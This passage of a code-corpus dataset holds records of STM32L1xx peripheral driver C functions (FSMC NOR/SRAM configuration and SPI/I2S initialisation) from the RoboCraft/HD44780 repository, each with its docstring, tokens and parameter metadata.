"IS_FSMC_EXTENDED_MODE", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ExtendedMode", ")", ")", ";", "assert_param", "(", "IS_FSMC_WRITE_BURST", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteBurst", ")", ")", ";", "assert_param", "(", "IS_FSMC_ADDRESS_SETUP_TIME", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_AddressSetupTime", ")", ")", ";", "assert_param", "(", "IS_FSMC_ADDRESS_HOLD_TIME", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_AddressHoldTime", ")", ")", ";", "assert_param", "(", "IS_FSMC_DATASETUP_TIME", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_DataSetupTime", ")", ")", ";", "assert_param", "(", "IS_FSMC_TURNAROUND_TIME", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_BusTurnAroundDuration", ")", ")", ";", "assert_param", "(", "IS_FSMC_CLK_DIV", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_CLKDivision", ")", ")", ";", "assert_param", "(", "IS_FSMC_DATA_LATENCY", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_DataLatency", ")", ")", ";", "assert_param", "(", "IS_FSMC_ACCESS_MODE", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_AccessMode", ")", ")", ";", "FSMC_Bank1", "->", "BTCR", "[", "FSMC_NORSRAMInitStruct", "->", "FSMC_Bank", "]", "=", "(", "uint32_t", ")", "FSMC_NORSRAMInitStruct", "->", "FSMC_DataAddressMux", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_MemoryType", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_MemoryDataWidth", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_BurstAccessMode", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_AsynchronousWait", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_WaitSignalPolarity", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_WrapMode", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_WaitSignalActive", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteOperation", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_WaitSignal", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_ExtendedMode", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteBurst", ";", "if", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_MemoryType", "==", "FSMC_MemoryType_NOR", ")", "{", "FSMC_Bank1", "->", "BTCR", "[", "FSMC_NORSRAMInitStruct", "->", "FSMC_Bank", "]", "|=", "(", "uint32_t", ")", "FSMC_BCR1_FACCEN", ";", "}", "FSMC_Bank1", "->", "BTCR", "[", "FSMC_NORSRAMInitStruct", "->", "FSMC_Bank", "+", "1", "]", "=", "(", "uint32_t", ")", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_AddressSetupTime", "|", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_AddressHoldTime", "<<", "4", ")", "|", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_DataSetupTime", "<<", "8", ")", "|", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_BusTurnAroundDuration", "<<", "16", ")", "|", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_CLKDivision", "<<", "20", ")", "|", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_DataLatency", "<<", "24", ")", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_ReadWriteTimingStruct", "->", "FSMC_AccessMode", ";", "if", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_ExtendedMode", "==", "FSMC_ExtendedMode_Enable", ")", "{", "assert_param", "(", "IS_FSMC_ADDRESS_SETUP_TIME", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_AddressSetupTime", ")", ")", ";", "assert_param", "(", "IS_FSMC_ADDRESS_HOLD_TIME", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_AddressHoldTime", ")", ")", ";", "assert_param", "(", "IS_FSMC_DATASETUP_TIME", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_DataSetupTime", ")", ")", ";", "assert_param", "(", "IS_FSMC_CLK_DIV", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_CLKDivision", ")", ")", ";", "assert_param", "(", "IS_FSMC_DATA_LATENCY", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_DataLatency", ")", ")", ";", "assert_param", "(", "IS_FSMC_ACCESS_MODE", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_AccessMode", ")", ")", ";", "FSMC_Bank1E", "->", "BWTR", "[", "FSMC_NORSRAMInitStruct", "->", "FSMC_Bank", "]", "=", "(", "uint32_t", ")", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_AddressSetupTime", "|", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_AddressHoldTime", "<<", "4", ")", "|", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_DataSetupTime", "<<", "8", ")", "|", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_CLKDivision", "<<", "20", ")", "|", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_DataLatency", "<<", "24", ")", "|", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteTimingStruct", "->", "FSMC_AccessMode", ";", "}", "else", "{", "FSMC_Bank1E", "->", "BWTR", "[", "FSMC_NORSRAMInitStruct", "->", "FSMC_Bank", "]", "=", "0x0FFFFFFF", ";", "}", "}" ]
@brief Initializes the FSMC NOR/SRAM Banks according to the specified parameters in the FSMC_NORSRAMInitStruct.
[ "@brief", "Initializes", "the", "FSMC", "NOR", "/", "SRAM", "Banks", "according", "to", "the", "specified", "parameters", "in", "the", "FSMC_NORSRAMInitStruct", "." ]
[ "/* Check the parameters */", "/* Bank1 NOR/SRAM control register configuration */", "/* Bank1 NOR/SRAM timing register configuration */", "/* Bank1 NOR/SRAM timing register for write configuration, if extended mode is used */" ]
[ { "param": "FSMC_NORSRAMInitStruct", "type": "FSMC_NORSRAMInitTypeDef" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "FSMC_NORSRAMInitStruct", "type": "FSMC_NORSRAMInitTypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8b5139bfe916290cfe17ff839503797f52c41921
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_fsmc.c
[ "MIT" ]
C
FSMC_NORSRAMCmd
void
void FSMC_NORSRAMCmd(uint32_t FSMC_Bank, FunctionalState NewState) { assert_param(IS_FSMC_NORSRAM_BANK(FSMC_Bank)); assert_param(IS_FUNCTIONAL_STATE(NewState)); if (NewState != DISABLE) { /* Enable the selected NOR/SRAM Bank by setting the MBKEN bit in the BCRx register */ FSMC_Bank1->BTCR[FSMC_Bank] |= FSMC_BCR1_MBKEN; } else { /* Disable the selected NOR/SRAM Bank by clearing the MBKEN bit in the BCRx register */ FSMC_Bank1->BTCR[FSMC_Bank] &= (uint32_t)(~FSMC_BCR1_MBKEN); } }
/** * @brief Enables or disables the specified NOR/SRAM Memory Bank. * @param FSMC_Bank: specifies the FSMC Bank to be used * This parameter can be one of the following values: * @arg FSMC_Bank1_NORSRAM1: FSMC Bank1 NOR/SRAM1 * @arg FSMC_Bank1_NORSRAM2: FSMC Bank1 NOR/SRAM2 * @arg FSMC_Bank1_NORSRAM3: FSMC Bank1 NOR/SRAM3 * @arg FSMC_Bank1_NORSRAM4: FSMC Bank1 NOR/SRAM4 * @param NewState: new state of the FSMC_Bank. This parameter can be: ENABLE or DISABLE. * @retval None */
@brief Enables or disables the specified NOR/SRAM Memory Bank.
[ "@brief", "Enables", "or", "disables", "the", "specified", "NOR", "/", "SRAM", "Memory", "Bank", "." ]
void FSMC_NORSRAMCmd(uint32_t FSMC_Bank, FunctionalState NewState) { assert_param(IS_FSMC_NORSRAM_BANK(FSMC_Bank)); assert_param(IS_FUNCTIONAL_STATE(NewState)); if (NewState != DISABLE) { FSMC_Bank1->BTCR[FSMC_Bank] |= FSMC_BCR1_MBKEN; } else { FSMC_Bank1->BTCR[FSMC_Bank] &= (uint32_t)(~FSMC_BCR1_MBKEN); } }
[ "void", "FSMC_NORSRAMCmd", "(", "uint32_t", "FSMC_Bank", ",", "FunctionalState", "NewState", ")", "{", "assert_param", "(", "IS_FSMC_NORSRAM_BANK", "(", "FSMC_Bank", ")", ")", ";", "assert_param", "(", "IS_FUNCTIONAL_STATE", "(", "NewState", ")", ")", ";", "if", "(", "NewState", "!=", "DISABLE", ")", "{", "FSMC_Bank1", "->", "BTCR", "[", "FSMC_Bank", "]", "|=", "FSMC_BCR1_MBKEN", ";", "}", "else", "{", "FSMC_Bank1", "->", "BTCR", "[", "FSMC_Bank", "]", "&=", "(", "uint32_t", ")", "(", "~", "FSMC_BCR1_MBKEN", ")", ";", "}", "}" ]
@brief Enables or disables the specified NOR/SRAM Memory Bank.
[ "@brief", "Enables", "or", "disables", "the", "specified", "NOR", "/", "SRAM", "Memory", "Bank", "." ]
[ "/* Enable the selected NOR/SRAM Bank by setting the MBKEN bit in the BCRx register */", "/* Disable the selected NOR/SRAM Bank by clearing the MBKEN bit in the BCRx register */" ]
[ { "param": "FSMC_Bank", "type": "uint32_t" }, { "param": "NewState", "type": "FunctionalState" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "FSMC_Bank", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "NewState", "type": "FunctionalState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
63e7cf3456b9f263604dcce79aeea41791356d1e
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_spi.c
[ "MIT" ]
C
SPI_I2S_DeInit
void
void SPI_I2S_DeInit(SPI_TypeDef* SPIx) { /* Check the parameters */ assert_param(IS_SPI_ALL_PERIPH(SPIx)); if (SPIx == SPI1) { /* Enable SPI1 reset state */ RCC_APB2PeriphResetCmd(RCC_APB2Periph_SPI1, ENABLE); /* Release SPI1 from reset state */ RCC_APB2PeriphResetCmd(RCC_APB2Periph_SPI1, DISABLE); } else if (SPIx == SPI2) { /* Enable SPI2 reset state */ RCC_APB1PeriphResetCmd(RCC_APB1Periph_SPI2, ENABLE); /* Release SPI2 from reset state */ RCC_APB1PeriphResetCmd(RCC_APB1Periph_SPI2, DISABLE); } else { if (SPIx == SPI3) { /* Enable SPI3 reset state */ RCC_APB1PeriphResetCmd(RCC_APB1Periph_SPI3, ENABLE); /* Release SPI3 from reset state */ RCC_APB1PeriphResetCmd(RCC_APB1Periph_SPI3, DISABLE); } } }
/** * @brief Deinitializes the SPIx peripheral registers to their default * reset values. * @param SPIx: To select the SPIx/I2Sx peripheral, where x can be: 1, 2 or 3 * in SPI mode or 2 or 3 in I2S mode. * @retval None */
@brief Deinitializes the SPIx peripheral registers to their default reset values. @param SPIx: To select the SPIx/I2Sx peripheral, where x can be: 1, 2 or 3 in SPI mode or 2 or 3 in I2S mode. @retval None
[ "@brief", "Deinitializes", "the", "SPIx", "peripheral", "registers", "to", "their", "default", "reset", "values", ".", "@param", "SPIx", ":", "To", "select", "the", "SPIx", "/", "I2Sx", "peripheral", "where", "x", "can", "be", ":", "1", "2", "or", "3", "in", "SPI", "mode", "or", "2", "or", "3", "in", "I2S", "mode", ".", "@retval", "None" ]
void SPI_I2S_DeInit(SPI_TypeDef* SPIx) { assert_param(IS_SPI_ALL_PERIPH(SPIx)); if (SPIx == SPI1) { RCC_APB2PeriphResetCmd(RCC_APB2Periph_SPI1, ENABLE); RCC_APB2PeriphResetCmd(RCC_APB2Periph_SPI1, DISABLE); } else if (SPIx == SPI2) { RCC_APB1PeriphResetCmd(RCC_APB1Periph_SPI2, ENABLE); RCC_APB1PeriphResetCmd(RCC_APB1Periph_SPI2, DISABLE); } else { if (SPIx == SPI3) { RCC_APB1PeriphResetCmd(RCC_APB1Periph_SPI3, ENABLE); RCC_APB1PeriphResetCmd(RCC_APB1Periph_SPI3, DISABLE); } } }
[ "void", "SPI_I2S_DeInit", "(", "SPI_TypeDef", "*", "SPIx", ")", "{", "assert_param", "(", "IS_SPI_ALL_PERIPH", "(", "SPIx", ")", ")", ";", "if", "(", "SPIx", "==", "SPI1", ")", "{", "RCC_APB2PeriphResetCmd", "(", "RCC_APB2Periph_SPI1", ",", "ENABLE", ")", ";", "RCC_APB2PeriphResetCmd", "(", "RCC_APB2Periph_SPI1", ",", "DISABLE", ")", ";", "}", "else", "if", "(", "SPIx", "==", "SPI2", ")", "{", "RCC_APB1PeriphResetCmd", "(", "RCC_APB1Periph_SPI2", ",", "ENABLE", ")", ";", "RCC_APB1PeriphResetCmd", "(", "RCC_APB1Periph_SPI2", ",", "DISABLE", ")", ";", "}", "else", "{", "if", "(", "SPIx", "==", "SPI3", ")", "{", "RCC_APB1PeriphResetCmd", "(", "RCC_APB1Periph_SPI3", ",", "ENABLE", ")", ";", "RCC_APB1PeriphResetCmd", "(", "RCC_APB1Periph_SPI3", ",", "DISABLE", ")", ";", "}", "}", "}" ]
@brief Deinitializes the SPIx peripheral registers to their default reset values.
[ "@brief", "Deinitializes", "the", "SPIx", "peripheral", "registers", "to", "their", "default", "reset", "values", "." ]
[ "/* Check the parameters */", "/* Enable SPI1 reset state */", "/* Release SPI1 from reset state */", "/* Enable SPI2 reset state */", "/* Release SPI2 from reset state */", "/* Enable SPI3 reset state */", "/* Release SPI3 from reset state */" ]
[ { "param": "SPIx", "type": "SPI_TypeDef" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "SPIx", "type": "SPI_TypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
63e7cf3456b9f263604dcce79aeea41791356d1e
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_spi.c
[ "MIT" ]
C
I2S_Init
void
void I2S_Init(SPI_TypeDef* SPIx, I2S_InitTypeDef* I2S_InitStruct) { uint16_t tmpreg = 0, i2sdiv = 2, i2sodd = 0, packetlength = 1; uint32_t tmp = 0; RCC_ClocksTypeDef RCC_Clocks; uint32_t sourceclock = 0; /* Check the I2S parameters */ assert_param(IS_SPI_23_PERIPH(SPIx)); assert_param(IS_I2S_MODE(I2S_InitStruct->I2S_Mode)); assert_param(IS_I2S_STANDARD(I2S_InitStruct->I2S_Standard)); assert_param(IS_I2S_DATA_FORMAT(I2S_InitStruct->I2S_DataFormat)); assert_param(IS_I2S_MCLK_OUTPUT(I2S_InitStruct->I2S_MCLKOutput)); assert_param(IS_I2S_AUDIO_FREQ(I2S_InitStruct->I2S_AudioFreq)); assert_param(IS_I2S_CPOL(I2S_InitStruct->I2S_CPOL)); /*----------------------- SPIx I2SCFGR & I2SPR Configuration -----------------*/ /* Clear I2SMOD, I2SE, I2SCFG, PCMSYNC, I2SSTD, CKPOL, DATLEN and CHLEN bits */ SPIx->I2SCFGR &= I2SCFGR_CLEAR_Mask; SPIx->I2SPR = 0x0002; /* Get the I2SCFGR register value */ tmpreg = SPIx->I2SCFGR; /* If the default value has to be written, reinitialize i2sdiv and i2sodd*/ if(I2S_InitStruct->I2S_AudioFreq == I2S_AudioFreq_Default) { i2sodd = (uint16_t)0; i2sdiv = (uint16_t)2; } /* If the requested audio frequency is not the default, compute the prescaler */ else { /* Check the frame length (For the Prescaler computing) */ if(I2S_InitStruct->I2S_DataFormat == I2S_DataFormat_16b) { /* Packet length is 16 bits */ packetlength = 1; } else { /* Packet length is 32 bits */ packetlength = 2; } /* I2S Clock source is System clock: Get System Clock frequency */ RCC_GetClocksFreq(&RCC_Clocks); /* Get the source clock value: based on System Clock value */ sourceclock = RCC_Clocks.SYSCLK_Frequency; /* Compute the Real divider depending on the MCLK output state with a flaoting point */ if(I2S_InitStruct->I2S_MCLKOutput == I2S_MCLKOutput_Enable) { /* MCLK output is enabled */ tmp = (uint16_t)(((((sourceclock / 256) * 10) / I2S_InitStruct->I2S_AudioFreq)) + 5); } else { /* MCLK output is disabled */ tmp = (uint16_t)(((((sourceclock / (32 * packetlength)) *10 ) / I2S_InitStruct->I2S_AudioFreq)) + 5); } /* Remove the flaoting point */ tmp = tmp / 10; /* Check the parity of the divider */ i2sodd = (uint16_t)(tmp & (uint16_t)0x0001); /* Compute the i2sdiv prescaler */ i2sdiv = (uint16_t)((tmp - i2sodd) / 2); /* Get the Mask for the Odd bit (SPI_I2SPR[8]) register */ i2sodd = (uint16_t) (i2sodd << 8); } /* Test if the divider is 1 or 0 or greater than 0xFF */ if ((i2sdiv < 2) || (i2sdiv > 0xFF)) { /* Set the default values */ i2sdiv = 2; i2sodd = 0; } /* Write to SPIx I2SPR register the computed value */ SPIx->I2SPR = (uint16_t)(i2sdiv | (uint16_t)(i2sodd | (uint16_t)I2S_InitStruct->I2S_MCLKOutput)); /* Configure the I2S with the SPI_InitStruct values */ tmpreg |= (uint16_t)(SPI_I2SCFGR_I2SMOD | (uint16_t)(I2S_InitStruct->I2S_Mode | \ (uint16_t)(I2S_InitStruct->I2S_Standard | (uint16_t)(I2S_InitStruct->I2S_DataFormat | \ (uint16_t)I2S_InitStruct->I2S_CPOL)))); /* Write to SPIx I2SCFGR */ SPIx->I2SCFGR = tmpreg; }
/** * @brief Initializes the SPIx peripheral according to the specified * parameters in the I2S_InitStruct. * @param SPIx: where x can be 2 or 3 to select the SPI peripheral * (configured in I2S mode). * @param I2S_InitStruct: pointer to an I2S_InitTypeDef structure that * contains the configuration information for the specified SPI peripheral * configured in I2S mode. * @note * The function calculates the optimal prescaler needed to obtain the most * accurate audio frequency (depending on the I2S clock source, the PLL values * and the product configuration). But in case the prescaler value is greater * than 511, the default value (0x02) will be configured instead. * @retval None */
@brief Initializes the SPIx peripheral according to the specified parameters in the I2S_InitStruct. @param SPIx: where x can be 2 or 3 to select the SPI peripheral (configured in I2S mode). @param I2S_InitStruct: pointer to an I2S_InitTypeDef structure that contains the configuration information for the specified SPI peripheral configured in I2S mode. @note The function calculates the optimal prescaler needed to obtain the most accurate audio frequency (depending on the I2S clock source, the PLL values and the product configuration). But in case the prescaler value is greater than 511, the default value (0x02) will be configured instead. @retval None
[ "@brief", "Initializes", "the", "SPIx", "peripheral", "according", "to", "the", "specified", "parameters", "in", "the", "I2S_InitStruct", ".", "@param", "SPIx", ":", "where", "x", "can", "be", "2", "or", "3", "to", "select", "the", "SPI", "peripheral", "(", "configured", "in", "I2S", "mode", ")", ".", "@param", "I2S_InitStruct", ":", "pointer", "to", "an", "I2S_InitTypeDef", "structure", "that", "contains", "the", "configuration", "information", "for", "the", "specified", "SPI", "peripheral", "configured", "in", "I2S", "mode", ".", "@note", "The", "function", "calculates", "the", "optimal", "prescaler", "needed", "to", "obtain", "the", "most", "accurate", "audio", "frequency", "(", "depending", "on", "the", "I2S", "clock", "source", "the", "PLL", "values", "and", "the", "product", "configuration", ")", ".", "But", "in", "case", "the", "prescaler", "value", "is", "greater", "than", "511", "the", "default", "value", "(", "0x02", ")", "will", "be", "configured", "instead", ".", "@retval", "None" ]
void I2S_Init(SPI_TypeDef* SPIx, I2S_InitTypeDef* I2S_InitStruct) { uint16_t tmpreg = 0, i2sdiv = 2, i2sodd = 0, packetlength = 1; uint32_t tmp = 0; RCC_ClocksTypeDef RCC_Clocks; uint32_t sourceclock = 0; assert_param(IS_SPI_23_PERIPH(SPIx)); assert_param(IS_I2S_MODE(I2S_InitStruct->I2S_Mode)); assert_param(IS_I2S_STANDARD(I2S_InitStruct->I2S_Standard)); assert_param(IS_I2S_DATA_FORMAT(I2S_InitStruct->I2S_DataFormat)); assert_param(IS_I2S_MCLK_OUTPUT(I2S_InitStruct->I2S_MCLKOutput)); assert_param(IS_I2S_AUDIO_FREQ(I2S_InitStruct->I2S_AudioFreq)); assert_param(IS_I2S_CPOL(I2S_InitStruct->I2S_CPOL)); SPIx->I2SCFGR &= I2SCFGR_CLEAR_Mask; SPIx->I2SPR = 0x0002; tmpreg = SPIx->I2SCFGR; if(I2S_InitStruct->I2S_AudioFreq == I2S_AudioFreq_Default) { i2sodd = (uint16_t)0; i2sdiv = (uint16_t)2; } else { if(I2S_InitStruct->I2S_DataFormat == I2S_DataFormat_16b) { packetlength = 1; } else { packetlength = 2; } RCC_GetClocksFreq(&RCC_Clocks); sourceclock = RCC_Clocks.SYSCLK_Frequency; if(I2S_InitStruct->I2S_MCLKOutput == I2S_MCLKOutput_Enable) { tmp = (uint16_t)(((((sourceclock / 256) * 10) / I2S_InitStruct->I2S_AudioFreq)) + 5); } else { tmp = (uint16_t)(((((sourceclock / (32 * packetlength)) *10 ) / I2S_InitStruct->I2S_AudioFreq)) + 5); } tmp = tmp / 10; i2sodd = (uint16_t)(tmp & (uint16_t)0x0001); i2sdiv = (uint16_t)((tmp - i2sodd) / 2); i2sodd = (uint16_t) (i2sodd << 8); } if ((i2sdiv < 2) || (i2sdiv > 0xFF)) { i2sdiv = 2; i2sodd = 0; } SPIx->I2SPR = (uint16_t)(i2sdiv | (uint16_t)(i2sodd | (uint16_t)I2S_InitStruct->I2S_MCLKOutput)); tmpreg |= (uint16_t)(SPI_I2SCFGR_I2SMOD | (uint16_t)(I2S_InitStruct->I2S_Mode | \ (uint16_t)(I2S_InitStruct->I2S_Standard | (uint16_t)(I2S_InitStruct->I2S_DataFormat | \ (uint16_t)I2S_InitStruct->I2S_CPOL)))); SPIx->I2SCFGR = tmpreg; }
[ "void", "I2S_Init", "(", "SPI_TypeDef", "*", "SPIx", ",", "I2S_InitTypeDef", "*", "I2S_InitStruct", ")", "{", "uint16_t", "tmpreg", "=", "0", ",", "i2sdiv", "=", "2", ",", "i2sodd", "=", "0", ",", "packetlength", "=", "1", ";", "uint32_t", "tmp", "=", "0", ";", "RCC_ClocksTypeDef", "RCC_Clocks", ";", "uint32_t", "sourceclock", "=", "0", ";", "assert_param", "(", "IS_SPI_23_PERIPH", "(", "SPIx", ")", ")", ";", "assert_param", "(", "IS_I2S_MODE", "(", "I2S_InitStruct", "->", "I2S_Mode", ")", ")", ";", "assert_param", "(", "IS_I2S_STANDARD", "(", "I2S_InitStruct", "->", "I2S_Standard", ")", ")", ";", "assert_param", "(", "IS_I2S_DATA_FORMAT", "(", "I2S_InitStruct", "->", "I2S_DataFormat", ")", ")", ";", "assert_param", "(", "IS_I2S_MCLK_OUTPUT", "(", "I2S_InitStruct", "->", "I2S_MCLKOutput", ")", ")", ";", "assert_param", "(", "IS_I2S_AUDIO_FREQ", "(", "I2S_InitStruct", "->", "I2S_AudioFreq", ")", ")", ";", "assert_param", "(", "IS_I2S_CPOL", "(", "I2S_InitStruct", "->", "I2S_CPOL", ")", ")", ";", "SPIx", "->", "I2SCFGR", "&=", "I2SCFGR_CLEAR_Mask", ";", "SPIx", "->", "I2SPR", "=", "0x0002", ";", "tmpreg", "=", "SPIx", "->", "I2SCFGR", ";", "if", "(", "I2S_InitStruct", "->", "I2S_AudioFreq", "==", "I2S_AudioFreq_Default", ")", "{", "i2sodd", "=", "(", "uint16_t", ")", "0", ";", "i2sdiv", "=", "(", "uint16_t", ")", "2", ";", "}", "else", "{", "if", "(", "I2S_InitStruct", "->", "I2S_DataFormat", "==", "I2S_DataFormat_16b", ")", "{", "packetlength", "=", "1", ";", "}", "else", "{", "packetlength", "=", "2", ";", "}", "RCC_GetClocksFreq", "(", "&", "RCC_Clocks", ")", ";", "sourceclock", "=", "RCC_Clocks", ".", "SYSCLK_Frequency", ";", "if", "(", "I2S_InitStruct", "->", "I2S_MCLKOutput", "==", "I2S_MCLKOutput_Enable", ")", "{", "tmp", "=", "(", "uint16_t", ")", "(", "(", "(", "(", "(", "sourceclock", "/", "256", ")", "*", "10", ")", "/", "I2S_InitStruct", "->", "I2S_AudioFreq", ")", ")", "+", "5", ")", ";", "}", "else", "{", "tmp", "=", "(", "uint16_t", ")", "(", "(", "(", "(", "(", "sourceclock", "/", "(", "32", "*", "packetlength", ")", ")", "*", "10", ")", "/", "I2S_InitStruct", "->", "I2S_AudioFreq", ")", ")", "+", "5", ")", ";", "}", "tmp", "=", "tmp", "/", "10", ";", "i2sodd", "=", "(", "uint16_t", ")", "(", "tmp", "&", "(", "uint16_t", ")", "0x0001", ")", ";", "i2sdiv", "=", "(", "uint16_t", ")", "(", "(", "tmp", "-", "i2sodd", ")", "/", "2", ")", ";", "i2sodd", "=", "(", "uint16_t", ")", "(", "i2sodd", "<<", "8", ")", ";", "}", "if", "(", "(", "i2sdiv", "<", "2", ")", "||", "(", "i2sdiv", ">", "0xFF", ")", ")", "{", "i2sdiv", "=", "2", ";", "i2sodd", "=", "0", ";", "}", "SPIx", "->", "I2SPR", "=", "(", "uint16_t", ")", "(", "i2sdiv", "|", "(", "uint16_t", ")", "(", "i2sodd", "|", "(", "uint16_t", ")", "I2S_InitStruct", "->", "I2S_MCLKOutput", ")", ")", ";", "tmpreg", "|=", "(", "uint16_t", ")", "(", "SPI_I2SCFGR_I2SMOD", "|", "(", "uint16_t", ")", "(", "I2S_InitStruct", "->", "I2S_Mode", "|", "(", "uint16_t", ")", "(", "I2S_InitStruct", "->", "I2S_Standard", "|", "(", "uint16_t", ")", "(", "I2S_InitStruct", "->", "I2S_DataFormat", "|", "(", "uint16_t", ")", "I2S_InitStruct", "->", "I2S_CPOL", ")", ")", ")", ")", ";", "SPIx", "->", "I2SCFGR", "=", "tmpreg", ";", "}" ]
@brief Initializes the SPIx peripheral according to the specified parameters in the I2S_InitStruct.
[ "@brief", "Initializes", "the", "SPIx", "peripheral", "according", "to", "the", "specified", "parameters", "in", "the", "I2S_InitStruct", "." ]
[ "/* Check the I2S parameters */", "/*----------------------- SPIx I2SCFGR & I2SPR Configuration -----------------*/", "/* Clear I2SMOD, I2SE, I2SCFG, PCMSYNC, I2SSTD, CKPOL, DATLEN and CHLEN bits */", "/* Get the I2SCFGR register value */", "/* If the default value has to be written, reinitialize i2sdiv and i2sodd*/", "/* If the requested audio frequency is not the default, compute the prescaler */", "/* Check the frame length (For the Prescaler computing) */", "/* Packet length is 16 bits */", "/* Packet length is 32 bits */", "/* I2S Clock source is System clock: Get System Clock frequency */", "/* Get the source clock value: based on System Clock value */", "/* Compute the Real divider depending on the MCLK output state with a flaoting point */", "/* MCLK output is enabled */", "/* MCLK output is disabled */", "/* Remove the flaoting point */", "/* Check the parity of the divider */", "/* Compute the i2sdiv prescaler */", "/* Get the Mask for the Odd bit (SPI_I2SPR[8]) register */", "/* Test if the divider is 1 or 0 or greater than 0xFF */", "/* Set the default values */", "/* Write to SPIx I2SPR register the computed value */", "/* Configure the I2S with the SPI_InitStruct values */", "/* Write to SPIx I2SCFGR */" ]
[ { "param": "SPIx", "type": "SPI_TypeDef" }, { "param": "I2S_InitStruct", "type": "I2S_InitTypeDef" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "SPIx", "type": "SPI_TypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "I2S_InitStruct", "type": "I2S_InitTypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
63e7cf3456b9f263604dcce79aeea41791356d1e
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_spi.c
[ "MIT" ]
C
I2S_Cmd
void
void I2S_Cmd(SPI_TypeDef* SPIx, FunctionalState NewState) { /* Check the parameters */ assert_param(IS_SPI_23_PERIPH(SPIx)); assert_param(IS_FUNCTIONAL_STATE(NewState)); if (NewState != DISABLE) { /* Enable the selected SPI peripheral (in I2S mode) */ SPIx->I2SCFGR |= SPI_I2SCFGR_I2SE; } else { /* Disable the selected SPI peripheral in I2S mode */ SPIx->I2SCFGR &= (uint16_t)~((uint16_t)SPI_I2SCFGR_I2SE); } }
/** * @brief Enables or disables the specified SPI peripheral (in I2S mode). * @param SPIx: where x can be 2 or 3 to select the SPI peripheral. * @param NewState: new state of the SPIx peripheral. * This parameter can be: ENABLE or DISABLE. * @retval None */
@brief Enables or disables the specified SPI peripheral (in I2S mode). @param SPIx: where x can be 2 or 3 to select the SPI peripheral. @param NewState: new state of the SPIx peripheral. This parameter can be: ENABLE or DISABLE. @retval None
[ "@brief", "Enables", "or", "disables", "the", "specified", "SPI", "peripheral", "(", "in", "I2S", "mode", ")", ".", "@param", "SPIx", ":", "where", "x", "can", "be", "2", "or", "3", "to", "select", "the", "SPI", "peripheral", ".", "@param", "NewState", ":", "new", "state", "of", "the", "SPIx", "peripheral", ".", "This", "parameter", "can", "be", ":", "ENABLE", "or", "DISABLE", ".", "@retval", "None" ]
